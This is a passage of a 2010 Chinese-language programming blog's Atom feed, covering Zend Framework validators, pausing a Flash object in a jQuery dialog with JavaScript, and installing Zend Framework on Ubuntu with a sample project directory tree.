background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$validator&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;isValid&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&quot;Test&quot;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: dimgrey;&quot;&gt;// returns true&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$validator&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;isValid&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&quot;Testing&quot;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: dimgrey;&quot;&gt;// returns true&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$validator&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;isValid&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&quot;Pest&quot;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: dimgrey;&quot;&gt;// returns false&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #a65700;&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Zend_Validate_StringLength&lt;/b&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #444444; font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 21px;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;ul class=&quot;itemizedlist&quot; style=&quot;list-style-image: initial; list-style-position: outside; list-style-type: disc; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1em; padding-left: 20px; padding-right: 0px; padding-top: 0px;&quot;&gt;
&lt;li class=&quot;listitem&quot; style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;&lt;div class=&quot;para&quot; style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;
&lt;em class=&quot;emphasis&quot;&gt;&lt;span class=&quot;property&quot; style=&quot;font-weight: bold;&quot;&gt;encoding&lt;/span&gt;&lt;/em&gt;: Sets the&amp;nbsp;&lt;b&gt;&lt;tt&gt;ICONV&lt;/tt&gt;&lt;/b&gt;&amp;nbsp;encoding which has to be used for this string.&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;listitem&quot; style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;&lt;div class=&quot;para&quot; style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;
&lt;em class=&quot;emphasis&quot;&gt;&lt;span class=&quot;property&quot; style=&quot;font-weight: bold;&quot;&gt;min&lt;/span&gt;&lt;/em&gt;: Sets the minimum allowed length for a string.&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;listitem&quot; style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;&lt;div class=&quot;para&quot; style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;
&lt;em class=&quot;emphasis&quot;&gt;&lt;span class=&quot;property&quot; style=&quot;font-weight: bold;&quot;&gt;max&lt;/span&gt;&lt;/em&gt;: Sets the maximum allowed length for a string.&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://q110185.blogspot.com/feeds/2110971943820697993/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://q110185.blogspot.com/2010/10/web-zend-framework-form-element-filter.html#comment-form' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/2110971943820697993'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/2110971943820697993'/><link rel='alternate' type='text/html' href='http://q110185.blogspot.com/2010/10/web-zend-framework-form-element-filter.html' title='[web] Zend framework form element, filter,  validator整理'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05310173251418268102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2019105187187135566.post-6422153238567389149</id><published>2010-10-08T08:56:00.000-07:00</published><updated>2011-09-03T02:02:53.470-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="web"/><title type='text'>[web] Javascript 使用flsah object</title><content type='html'>我在網站上加了jquery dialog 裡面放了flash動畫&lt;br /&gt;
&lt;br /&gt;
乍&quot;看&quot;之下chrome 和IE8都很正常&lt;br /&gt;
&lt;br /&gt;
殊不知一聽 就發現出有錯&lt;br /&gt;
&lt;br /&gt;
IE8再關閉dialog時 flash的物件不會停止 chrome沒這問題&lt;br /&gt;
我的猜測是 chrome在 dialog被關閉時 期內所屬的東西都會被free掉或是停止&lt;br /&gt;
&amp;nbsp;IE則不會&lt;br /&gt;
所以就去查了一些方法看可不可以用 javascript 操作flash&lt;br /&gt;
事實上是可以的&lt;br /&gt;
但有一些跨瀏覽器的問題&lt;br /&gt;
但用以下解決方法就OK&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #003333; font-family: Arial, Helvetica, Verdana, sans-serif;&quot;&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;/b&gt;&lt;br /&gt;
&lt;table bgcolor=&quot;#FFFFCC&quot; border=&quot;0&quot; style=&quot;font-family: Arial, Helvetica, Verdana, sans-serif;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td width=&quot;80&quot;&gt;&lt;pre&gt;function getFlashMovieObject(movieName)
{
  if (window.document[movieName]) 
  {
      return window.document[movieName];
  }
  if (navigator.appName.indexOf(&quot;Microsoft Internet&quot;)==-1)
  {
    if (&lt;span style=&quot;color: black;&quot;&gt;document.embeds &amp;amp;&amp;amp; document.embeds[&lt;/span&gt;movieName&lt;span style=&quot;color: black;&quot;&gt;])
      return document.embeds[&lt;/span&gt;movieName&lt;span style=&quot;color: black;&quot;&gt;]; &lt;/span&gt;
  }
  else // if (navigator.appName.indexOf(&quot;Microsoft Internet&quot;)!=-1)
  {
    return document.getElementById(movieName);
  }&lt;b&gt;  
&lt;/b&gt;}&lt;b&gt; &lt;/b&gt;&lt;/pre&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;br /&gt;
這方法可以取得flash object&lt;br /&gt;
&lt;br /&gt;
取得之後&lt;br /&gt;
我就在dialog關閉時把動畫暫停&lt;br /&gt;
再開啟dialog時就把 動畫重頭開始播放&lt;br /&gt;
用了以下的method&lt;br /&gt;
&lt;br /&gt;
暫停&lt;br /&gt;
flashObject.stop()&lt;br /&gt;
&lt;br /&gt;
從頭&lt;br /&gt;
flshObject.rewind()&lt;br /&gt;
&lt;br /&gt;
開始播放&lt;br /&gt;
flshObject.play()&lt;br /&gt;
&lt;br /&gt;
這樣就OK了&lt;br /&gt;
&lt;br /&gt;
參考資料&lt;br /&gt;
get flash object&lt;br /&gt;
&lt;a href=&quot;http://www.permadi.com/tutorial/flashGetObject/&quot;&gt;http://www.permadi.com/tutorial/flashGetObject/&lt;/a&gt;&lt;br /&gt;
flash object api&lt;br /&gt;
&lt;a href=&quot;http://www.coldfusionmx.com.br/support/flash/publishexport/scriptingwithflash/scriptingwithflash_03.html&quot;&gt;http://www.coldfusionmx.com.br/support/flash/publishexport/scriptingwithflash/scriptingwithflash_03.html&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://q110185.blogspot.com/feeds/6422153238567389149/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://q110185.blogspot.com/2010/10/web-javascript-flsah-object.html#comment-form' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/6422153238567389149'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2019105187187135566/posts/default/6422153238567389149'/><link rel='alternate' type='text/html' href='http://q110185.blogspot.com/2010/10/web-javascript-flsah-object.html' title='[web] Javascript 使用flsah object'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05310173251418268102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2019105187187135566.post-8717668071352467934</id><published>2010-10-05T05:37:00.000-07:00</published><updated>2011-09-03T02:03:20.248-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="web"/><title type='text'>[web]Zend framework 初體驗 on ubuntu 9.10</title><content type='html'>由於想藉由CASE 增進自己的功力&lt;br /&gt;
所以這次CASE跟朋友打算來學Zend&lt;br /&gt;
首先就是安裝&lt;br /&gt;
由於我們在ubutnu 9.10的機器上所以用套件安裝&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: black;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: white;&quot;&gt;$ sudo apt-get install zend-framework&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: black;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: white;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: black;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: white;&quot;&gt;$ cd /hoem/youraccount/&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: black;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: white;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: black;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: white;&quot;&gt;$ zf create project PROJECT_NAME&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #666666;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
目錄會長這樣&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #444444; font-family: monospace; font-size: 12px; line-height: 17px;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;ol style=&quot;list-style-image: initial; list-style-position: outside; list-style-type: decimal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1em; padding-left: 25px; padding-right: 0px; padding-top: 0px;&quot;&gt;
&lt;li style=&quot;color: black; font-family: &#39;Courier New&#39;, Courier, monospace; font-style: normal; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;&lt;br /&gt;
&lt;div style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;
PROJECT_NAME&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;color: black; font-family: &#39;Courier New&#39;, Courier, monospace; font-style: normal; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;&lt;br /&gt;
&lt;div style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;
|-- application&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;color: black; font-family: &#39;Courier New&#39;, Courier, monospace; font-style: normal; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;&lt;br /&gt;
&lt;div style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;
|&amp;nbsp; &amp;nbsp;|-- Bootstrap.php&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;color: black; font-family: &#39;Courier New&#39;, Courier, monospace; font-style: normal; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;&lt;br /&gt;
&lt;div style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;
|&amp;nbsp; &amp;nbsp;|-- configs&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;color: black; font-family: &#39;Courier New&#39;, Courier, monospace; font-style: normal; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;&lt;br /&gt;
&lt;div style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;
|&amp;nbsp; &amp;nbsp;|&amp;nbsp; &amp;nbsp;`-- application.ini&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;color: black; font-family: &#39;Courier New&#39;, Courier, monospace; font-style: normal; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;&lt;br /&gt;
&lt;div style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;
|&amp;nbsp; &amp;nbsp;|-- controllers&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;color: black; font-family: &#39;Courier New&#39;, Courier, monospace; font-style: normal; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;&lt;br /&gt;
&lt;div style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;
|&amp;nbsp; &amp;nbsp;|&amp;nbsp; &amp;nbsp;|-- ErrorController.php&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;color: black; font-family: &#39;Courier New&#39;, Courier, monospace; font-style: normal; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;&lt;br /&gt;
&lt;div style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;
|&amp;nbsp; &amp;nbsp;|&amp;nbsp; &amp;nbsp;`-- IndexController.php&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;color: black; font-family: &#39;Courier New&#39;, Courier, monospace; font-style: normal; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;&lt;br /&gt;
&lt;div style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;
|&amp;nbsp; &amp;nbsp;|-- models&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;color: black; font-family: &#39;Courier New&#39;, Courier, monospace; font-style: normal; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;&lt;br /&gt;
&lt;div style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;
|&amp;nbsp; &amp;nbsp;`-- views&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;color: black; font-family: &#39;Courier New&#39;, Courier, monospace; font-style: normal; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;&lt;br /&gt;
&lt;div style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;
|&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;|-- helpers&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;color: black; font-family: &#39;Courier New&#39;, Courier, monospace; font-style: normal; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;&lt;br /&gt;
&lt;div style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;
|&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;`-- scripts&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;color: black; font-family: &#39;Courier New&#39;, Courier, monospace; font-style: normal; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;&lt;br /&gt;
&lt;div style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;
|&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;|-- error&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;color: black; font-family: &#39;Courier New&#39;, Courier, monospace; font-style: normal; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;&lt;br /&gt;
&lt;div style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;
|&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;|&amp;nbsp; &amp;nbsp;`-- error.phtml&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;color: black; font-family: &#39;Courier New&#39;, Courier, monospace; font-style: normal; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;&lt;br /&gt;
&lt;div style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;
|&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;`-- index&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;color: black; font-family: &#39;Courier New&#39;, Courier, monospace; font-style: normal; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;&lt;br /&gt;
&lt;div style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;
|&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;`-- index.phtml&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;color: black; font-family: &#39;Courier New&#39;, Courier, monospace; font-style: normal; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;&lt;br /&gt;
&lt;div style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;
|-- library&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;color: black; font-family: &#39;Courier New&#39;, Courier, monospace; font-style: normal; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;&lt;br /&gt;
&lt;div style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; font-weight: normal; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;
|-- public&lt;/div&gt;
&lt;/li&gt;
